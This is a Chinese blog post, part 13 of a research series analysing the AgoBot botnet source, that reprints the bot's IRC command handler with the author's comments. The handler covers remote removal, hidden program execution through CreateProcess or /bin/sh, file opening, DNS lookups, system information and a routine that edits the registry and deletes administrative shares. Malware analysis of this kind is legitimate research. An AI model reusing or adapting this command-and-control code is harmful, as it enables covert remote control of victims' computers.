AgoBot 僵尸网络研究笔记（十三）

最新推荐文章于 2009-04-01 17:36:00 发布
最新推荐文章于 2009-04-01 17:36:00 发布
阅读量989 收藏
点赞数
分类专栏： 源码赏析 文章标签： 网络 token null system 服务器 工作
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/anzijin/article/details/2399077
版权
 

十三、2008年04月08日

 

作者：青青子衿

email：anzijin@sina.com

CInstaller 类分析完成，回到CBot类的分析

1、 CBot :: HandleCommand ( CMessage  * pMsg )  函数  

//

//

//函数功能：处理发送来的由bot类负责处理的消息

//参数：   CMessage *pMsg     接收到的消息

//返回值：   处理成功返回true，否则返回false

//

/

bool   CBot :: HandleCommand ( CMessage  * pMsg )

{  

  //处理bot.remove指令，完成将bot程序从受控计算机上删除的任务，另外bot.removeallbut需要在后边添加要删除的bot的ID

  if (! pMsg -> sCmd . Compare ( "bot.remove" ) || ! pMsg -> sCmd . Compare ( "bot.removeallbut" )) 

  {

    CString   sId ( pMsg -> sChatString . Token (1,  " " ,  true ));

    if (! pMsg -> sCmd . Compare ( "bot.removeallbut" ))

    {  

      //如果是bot.removeallbut指令，那么从bot的id列表中查找是否有该ID的bot

      if (! sId . Compare ( g_cMainCtrl . m_cBot . bot_id . sValue ))

      {  

        //如果没有找到返回false

        return   false ;

      }

    }

    //发送处理的返回消息到服务器，参数1标识是否处于静默状态，参数2标识发送模式

    g_cMainCtrl . m_cIRC . SendMsg ( pMsg -> bSilent ,  pMsg -> bNotice ,  "removing bot..." ,  pMsg -> sReplyTo );

   

#ifdef  WIN32

    if ( g_cMainCtrl . m_cBot . as_enabled . bValue )  //★★这个变量的初始值是什么呢，为什么在这里直接用了呢。

    {

      //这里的作用是删除启动项，为完全删除bot最准备。

      g_cMainCtrl . m_cInstaller . RegStartDel ( g_cMainCtrl . m_cBot . as_valname . sValue );

    }

#endif

    g_cMainCtrl . m_cInstaller . Uninstall ();   //卸载bot程序：生成删除bot程序的批处理。

    g_cMainCtrl . m_cIRC . m_bRunning = false ;    //IRC类中的运行状态设置为false

    g_cMainCtrl . m_bRunning = false ;   //全局变量中的运行状态设置为false

  }

  else   if (! pMsg -> sCmd . Compare ( "bot.execute" ))  //处理bot.execute指令， 命令格式.bot.execute 1 notepad.exe，其中1表示运行的次数，notepad.exe 要运行的文件

  {

    CString   sText ( pMsg -> sChatString . Token (2,  " " ,  true ));  //取得以空格作为分隔符的第二段字符串 ，要运行的进程的文件名

   

    bool   bVisible = atoi ( pMsg -> sChatString . Token (1,  " " ). CStr ())==1;  //获取该进程运行的次数，将字符串形式表示的数字转化成整数

   

#ifdef  WIN32

    CString   sTextExp ; 

    ExpandEnvironmentStrings ( sText . CStr (),  sTextExp . GetBuffer (8192), 8192);  // 通过环境变量对字符串进行扩充interpret environment variables

    sText . Assign ( sTextExp );

   

    PROCESS_INFORMATION   pinfo ; 

    STARTUPINFO   sinfo ;

    memset (& sinfo , 0,  sizeof ( STARTUPINFO )); 

    sinfo . cb = sizeof ( sinfo );

    if ( bVisible )  //设置进程的运行模式

    {

      sinfo . wShowWindow = SW_SHOW ;

    }

    else

    {

      sinfo . wShowWindow = SW_HIDE ;

    }

    //创建指定的进程

    if (! CreateProcess ( NULL ,  sText . Str (),  NULL ,  NULL ,  TRUE ,  NORMAL_PRIORITY_CLASS  |  DETACHED_PROCESS ,  NULL ,  NULL , & sinfo , & pinfo )) 

    {

      //如果进程创建失败，向控制端发回消息，could't execute file.

      g_cMainCtrl . m_cIRC . SendMsg ( pMsg -> bSilent ,  pMsg -> bNotice ,  "couldn't execute file." ,  pMsg -> sReplyTo . Str ()); 

      return   false ; 

    }

#else

    //在linux模式下，创建新的进程

    CString   sCmdBuf ; 

    sCmdBuf . Format ( "/bin/sh -c /"%s/"" ,  sText . CStr ());

    if ( system ( sCmdBuf . CStr ())==-1) 

    { 

      g_cMainCtrl . m_cIRC . SendMsg ( pMsg -> bSilent ,  pMsg -> bNotice ,  "couldn't execute file." ,  pMsg -> sReplyTo . Str ()); 

      return   false ; 

    }

#endif

    return   true ; 

  }

  else   if (! pMsg -> sCmd . Compare ( "bot.open" ))  //处理open指令

  {

    if (!( pMsg -> sChatString . GetLength () > ( pMsg -> sCmd . GetLength ()+ pMsg -> sChatString . Token (1,  " " ). GetLength ()+3))) 

    {

      //这里为什么要这样判断还不清楚。

      return   false ;

    }

   

    CString   sText ; 

    sText . Assign (& pMsg -> sChatString [ pMsg -> sCmd . GetLength ()+2]); 

    bool   bRet = false ;

   

#ifdef  WIN32

    bRet =( int ) ShellExecute (0,  "open" ,  sText . CStr (),  NULL ,  NULL ,  SW_SHOW )>=32;   //打开指定的文件

#else

    bRet = system ( sText . CStr ())>0;  //linux 平台中打开某个程序。

#endif

    if ( bRet )  //根据打开文件的成功与否，分别发送不同的返回信息

    {

      return   g_cMainCtrl . m_cIRC . SendMsg ( pMsg -> bSilent ,  pMsg -> bNotice ,  "file opened." ,  pMsg -> sReplyTo . Str ());

    }

    else  

    {

      return   g_cMainCtrl . m_cIRC . SendMsg ( pMsg -> bSilent ,  pMsg -> bNotice ,  "couldn't open file." ,  pMsg -> sReplyTo . Str ()); 

    }

  }

  else   if (! pMsg -> sCmd . Compare ( "bot.dns" ))    //处理dns指令

  {

    CString   sReply ; 

    hostent  * pHostent = NULL ; 

    in_addr   iaddr ;

    if (! pMsg -> sChatString . Token (1,  " " ). Compare ( "" ))

    { 

      return   false ;

    }

    unsigned   long   addr = inet_addr ( pMsg -> sChatString . Token (1,  " " ). CStr ());   //提取dns指令后的，字符串，将其转换成IP地址

 

    if ( addr != INADDR_NONE )   //字符串为一个IP地址，下面做的工作是通过ip 获得他的域名

    {

      pHostent = gethostbyaddr (( char *)& addr ,  sizeof ( struct   in_addr ),  AF_INET );

      if ( pHostent ) 

      {

        sReply . Format ( "%s -> %s" ,  pMsg -> sChatString . Token (1,  " " ). CStr (),  pHostent -> h_name );

        return   g_cMainCtrl . m_cIRC . SendMsg ( pMsg -> bSilent ,  pMsg -> bNotice ,  sReply . Str (),  pMsg -> sReplyTo . Str ());  //把获得的结果发送给控制端

      }

    }  else   //如果转换失败，则可确定，后边的字符串是一个域名，则下面做的工作是根据域名，来获得IP地址

    {

      pHostent = gethostbyname ( pMsg -> sChatString . Token (1,  " " ). CStr ());  //获得IP地址

      if ( pHostent )

      {

        iaddr =*(( in_addr *)* pHostent -> h_addr_list );  

        sReply . Format ( "%s -> %s" ,  pMsg -> sChatString . Token (1,  " " ). CStr (),  inet_ntoa ( iaddr ));

        return   g_cMainCtrl . m_cIRC . SendMsg ( pMsg -> bSilent ,  pMsg -> bNotice ,  sReply . Str (),  pMsg -> sReplyTo . Str ());  //将获得的IP地址返回给控制端

      } 

    }

   

    if (! pHostent )  //如果pHostent的值为null，说明无法获得该dns的信息

    {

      sReply . Format ( "couldn't resolve host /"%s/"!" ,  pMsg -> sChatString . Token (1,  " " ). CStr ());

      return   g_cMainCtrl . m_cIRC . SendMsg ( pMsg -> bSilent ,  pMsg -> bNotice ,  sReply . Str (),  pMsg -> sReplyTo . Str ()); 

    } 

  }

  else   if (! pMsg -> sCmd . Compare ( "bot.about" ))  //处理about指令，返回AgoBot相关的信息

  {

    CString   sReplyBuf ; 

    sReplyBuf . Format ( "%s by Ago (theago@gmx.net). homepage: http://none.yet/" ,  g_cMainCtrl . m_sNameVerStr . CStr ());

    return   g_cMainCtrl . m_cIRC . SendMsg ( pMsg -> bSilent ,  pMsg -> bNotice ,  sReplyBuf . Str (),  pMsg -> sReplyTo . Str ()); 

  }

  else   if (! pMsg -> sCmd . Compare ( "bot.id" ))    //返回botID的指令

  {

    return   g_cMainCtrl . m_cIRC . SendMsg ( pMsg -> bSilent ,  pMsg -> bNotice ,  bot_id . sValue . Str (),  pMsg -> sReplyTo . Str ()); 

  }

  else   if (! pMsg -> sCmd . Compare ( "bot.nick" ))  //返回bot的昵称

  {

    g_cMainCtrl . m_sUserName . Format ( "%s" ,  pMsg -> sChatString . Token (1,  " " ,  true ). Mid (0, 32). CStr ());

    g_cMainCtrl . m_cIRC . SendRawFormat ( "NICK %s/r/n" ,  g_cMainCtrl . m_sUserName . CStr ());

    return   true ; 

  }

  else   if (! pMsg -> sCmd . Compare ( "bot.quit" ) || ! pMsg -> sCmd . Compare ( "bot.die" ))  //处理bot推出指令

  {

    g_cMainCtrl . m_cIRC . m_bRunning = false ;  //只在这里标识bot需要推出。

    return   true ; 

  }

  else   if (! pMsg -> sCmd . Compare ( "bot.sysinfo" ))  //获得系统信息

  {

    //SysInfo() 是CBot的成员函数

    return   g_cMainCtrl . m_cIRC . SendMsg ( pMsg -> bSilent ,  pMsg -> bNotice ,  SysInfo (). Str (),  pMsg -> sReplyTo . Str ()); 

  }

  else   if (! pMsg -> sCmd . Compare ( "bot.longuptime" ))  //内部指令，返回在线时间长度的指令。

  {

    int   iDays = atoi ( pMsg -> sChatString . Token (1,  " " ). CStr ()); 

    if (! iDays ) 

    {

      iDays =7;

    }

    CString   sUptime = LongUptime ( iDays );   //调用longUptime函数，具体该指令的功能需要进一步分析了该函数之后才能知道，

    if ( sUptime . Compare ( "" )) 

    {

      g_cMainCtrl . m_cIRC . SendMsg ( pMsg -> bSilent ,  pMsg -> bNotice , /

        sUptime . Str (),  pMsg -> sReplyTo . Str ()); 

    }

    return   true ; 

  }

  else   if (! pMsg -> sCmd . Compare ( "bot.status" ))

  {

    return   g_cMainCtrl . m_cIRC . SendMsg ( pMsg -> bSilent ,  pMsg -> bNotice ,  Status (). Str (),  pMsg -> sReplyTo . Str ()); 

  }

  else   if (! pMsg -> sCmd . Compare ( "bot.rndnick" ))  //修改昵称的指令，这里只是推测，该指令对整体不是很重要

  {

    CString   sRndNick = RndNick ( si_nickprefix . sValue . CStr ());

    g_cMainCtrl . m_cIRC . SendRawFormat ( "NICK %s/r/n" ,  sRndNick . CStr ());  //由bot发送修改昵称的指令到IRC服务器

    g_cMainCtrl . m_sUserName . Format ( "%s" ,  sRndNick . Mid (0, 32). CStr ()); //修改本地所保存的昵称

    return   true ; 

  }

  else   if (! pMsg -> sCmd . Compare ( "bot.flushdns" ))   //刷新本地的dns记录

  {

#ifdef  WIN32

    Execute ( "ipconfig.exe" ,  "/flushdns" );

#else

    Execute ( "nscd" ,  "-i hosts" );

#endif  // WIN32

    return   true ; 

  }

  else   if (! pMsg -> sCmd . Compare ( "bot.secure" ))  //帮助文件中没有的内部指令

  {    

#ifdef  WIN32

    // Set EnableDCOM to "N"

    HKEY   hkey = NULL ; 

    DWORD   dwSize =128; 

    char   szDataBuf [128];

    sprintf ( szDataBuf ,  "N" ); 

    dwSize = strlen ( szDataBuf );

    /*

    修改注册表 

    HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/OLE 的键值

    "EnableDCom" = "N"

    减低安全设置

    */

    LONG   lRet = RegOpenKeyEx ( HKEY_LOCAL_MACHINE ,  "Software//Microsoft//OLE" , 0,  KEY_READ , & hkey );

    RegSetValueEx ( hkey ,  "EnableDCOM" ,  NULL ,  REG_SZ , ( unsigned   char *) szDataBuf ,  dwSize );

    RegCloseKey ( hkey );

    // Secure Shares

    system ( "net share c$ /delete /y" );

    system ( "net share d$ /delete /y" );

    system ( "net share ipc$ /delete /y" );

    system ( "net share admin$ /delete /y" );

    //上面操作的中心目的在于设置网络共享

#endif

    return   true ; 

  }

  return   false ; 

}

青青子衿亲
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
03～网络基础知识
weixin_42131852的博客
06-07 1238
OSI和TCP/IP网络参考模型的对比，各层中的常见协议及攻击，数据的传输过程、常见的网络设备以及常见的端口与服务的对应关系。
DDOS入门介绍（一）：DDOS简介
热门推荐
不积跬步，无以至千里；不积小流，无以成江海！
05-27 1万+
定义分布式拒绝服务(DDoS:Distributed Denial of Service)攻击指借助于客户/服务器技术，将多个计算机联合起来作为攻击平台，对一个或多个目标发动DDoS攻击，从而成倍地提高拒绝服务攻击的威力。通常该攻击方式利用目标系统网络服务功能缺陷或者直接消耗其系统资源，使得该目标系统无法提供正常的服务。。攻击的方式DDoS攻击通过大量的请求占用大量网络资源，以达到瘫痪网络的目的。攻
AgoBot 僵尸网络研究笔记（十九）
青青子衿
05-23 765
十九、2008年04月17日作者：青青子衿email：anzijin@sina.com 1、void *CDownloadHelper::Run()函数中使用了 DoTcpConnect函数/////////////////////////////////////////////////////////////////////函数功能：实现TCP协议通讯的连接/
AgoBot 僵尸网络研究笔记（三）
青青子衿
03-06 1348
 三、08年2月29日 作者：青青子衿email：anzijin@sina.com 1、在utility.cpp文件中定义了 bool   recv_line ( int   sSocket ,  char  * szBuffer ,  int   iBufSize ,  CSSLSocket  * pSSLSocket = NULL ); bool   recv_
AgoBot 僵尸网络研究笔记（十）
青青子衿
04-17 863
 十、2008年3月17日 作者：青青子衿email：anzijin@sina.com 1、 void   CBot :: Recv ( CMessage  * pMsg  ）   函数 s//////////////////////////////////////////////////////////////////////// // //函数功能：接收函数
AgoBot 僵尸网络研究笔记（五）
青青子衿
03-11 1093
 五、08年03月06日 作者：青青子衿email：anzijin@sina.com 1、 random.h文件分析，该文件中函数的作用应该是完成产生随机函数相关功能，存在三个函数 （1） 、 void   init_random ();   函数，初始化随机因子 void   init_random ()  {        srand ( GetTi
论文研究-基于计算机网络对抗的僵尸网络研究与进展.pdf
07-22
通过Agobot实例分析，提出将僵尸网络纳入计算机网络对抗体系之中的观点。基于计算机网络对抗理论抽象出整个僵尸网络的概念模型，对模型中功能的实现进行探讨。指出僵尸网络研究中存在的问题与进一步研究的建议。
agobot3-0[1].2.1-pre4-priv.rar_Windows编程_Visual_C++_
08-11
Agobot是一种多平台的蠕虫病毒，其源码的分析对于网络安全研究和逆向工程有着独特的价值。在Windows编程中，了解如何利用C++编写系统级程序，如网络通信、文件操作、进程控制等，是提升开发者技能的关键步骤。通过...
Larbin 搜索引擎源码赏析——（一）搜索引擎的main函数
青青子衿
01-07 4378
// Larbin //fileName: main.cc// Sebastien Ailleret // 09-11-99 -> 08-03-00 //comment:anzijin//2008.12.25#include  #include  #include  #include  #include  #include  #inclu
Larbin 搜索引擎源码赏析——（二）搜索引擎的全局变量类
青青子衿
01-09 4112
// Larbin // Sebastien Ailleret // 29-11-99 -> 08-03-00 #include  #include  #include  #include  #include  #include  #include  #include  #include  #include  #include "
AgoBot 僵尸网络研究笔记（一）
青青子衿
02-29 2745
 AgoBot 僵尸网络研究笔记 由于工作需要，着手分析一个AgoBot的开源的程序，一些收获或许和大家分享 作者：青青子衿email：anzijin@sina.com 一、08年2月28日 1、 源代码分以下几块： Agobot3 Source     AgoBot 主体源代码， 重点分析这块的代码 Scanner Source     程序内应该包含了一
Larbin 搜索引擎源码赏析——（四）后台控制爬虫的接口，一个极为简单的telnet服务器
青青子衿
03-23 2192
 头文件 input.h  // Larbin// Sebastien Ailleret// 03-02-00 -> 03-02-00#ifndef INPUT_H#define INPUT_H#include "global.h"/** Entry point from the outside */void *startInput (void
Larbin 搜索引擎源码赏析——（五）为二次开发用户提供的进一步处理网页的接口函数
青青子衿
04-01 2127
 output.h文件// Larbin// Sebastien Ailleret// 03-02-00 -> 16-03-00#ifndef OUTPUT_H#define OUTPUT_H#include "global.h"/* 这个文件在程序中的功能：主要是为二次开发者提供一个接口，使二次开发者可以对爬取到的网页灵活的实现相应的处理 工作，这里包
Larbin 搜索引擎源码赏析——（三）用来反馈爬虫状态微型web服务器
青青子衿
03-16 1948
  相当于一个极为简单的web服务器，大家可以关注一下，这两个文件中的核心函数void webserver ()被，主函数main函数在最后的时候调用  webserver.h 文件 // Larbin// Sebastien Ailleret// 07-03-00 -> 07-03-00#ifndef WEBSERVER_H#define WEBSER
AgoBot 僵尸网络研究笔记（二）
青青子衿
03-04 1941
 二、08年2月29日 作者：青青子衿email：anzijin@sina.com 1、 main函数 运行时的提示： [1/10] Agobot3 (0.2.1-pre3 Alpha) "Debug" on "Win32" starting up... [2/10] Debugging with debuglevel of 10... 2、 CConsDb
AgoBot 僵尸网络研究笔记（十五）
青青子衿
05-13 1826
十五、2008年04月09日 作者：青青子衿email：anzijin@sina.com 1、CCDKeyGrab的作用是处理cdkey.get消息，功能是获取被控端，下述游戏的cdkey的值游戏列表： （1）、Half-Life（2）、Counter-Strike（3）、Legends of Might and Magic（4）、Unreal To
AgoBot 僵尸网络研究笔记（六）
青青子衿
03-18 1543
 六、2008年3月7日 作者：青青子衿email：anzijin@sina.com 1、  CString类，Bot定义了自己的字符串类，与其他字符串类相比，它增加了加密字符串的功能，具体分析如下： 5个成员变量：     bool       m_bIsCryptStr ;     //字符串是否加密   int     m_iCryptKey ;    
僵尸网络控制命令发掘：基于覆盖率的分析方法
在对三个知名僵尸网络Zeus、SdBot和AgoBot的实验中，该方法展示了高效性和准确性。不仅能够快速识别出控制命令，而且所识别的命令集合对应的执行轨迹几乎覆盖了僵尸程序的全部代码空间，这表明该方法对于理解和对抗...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值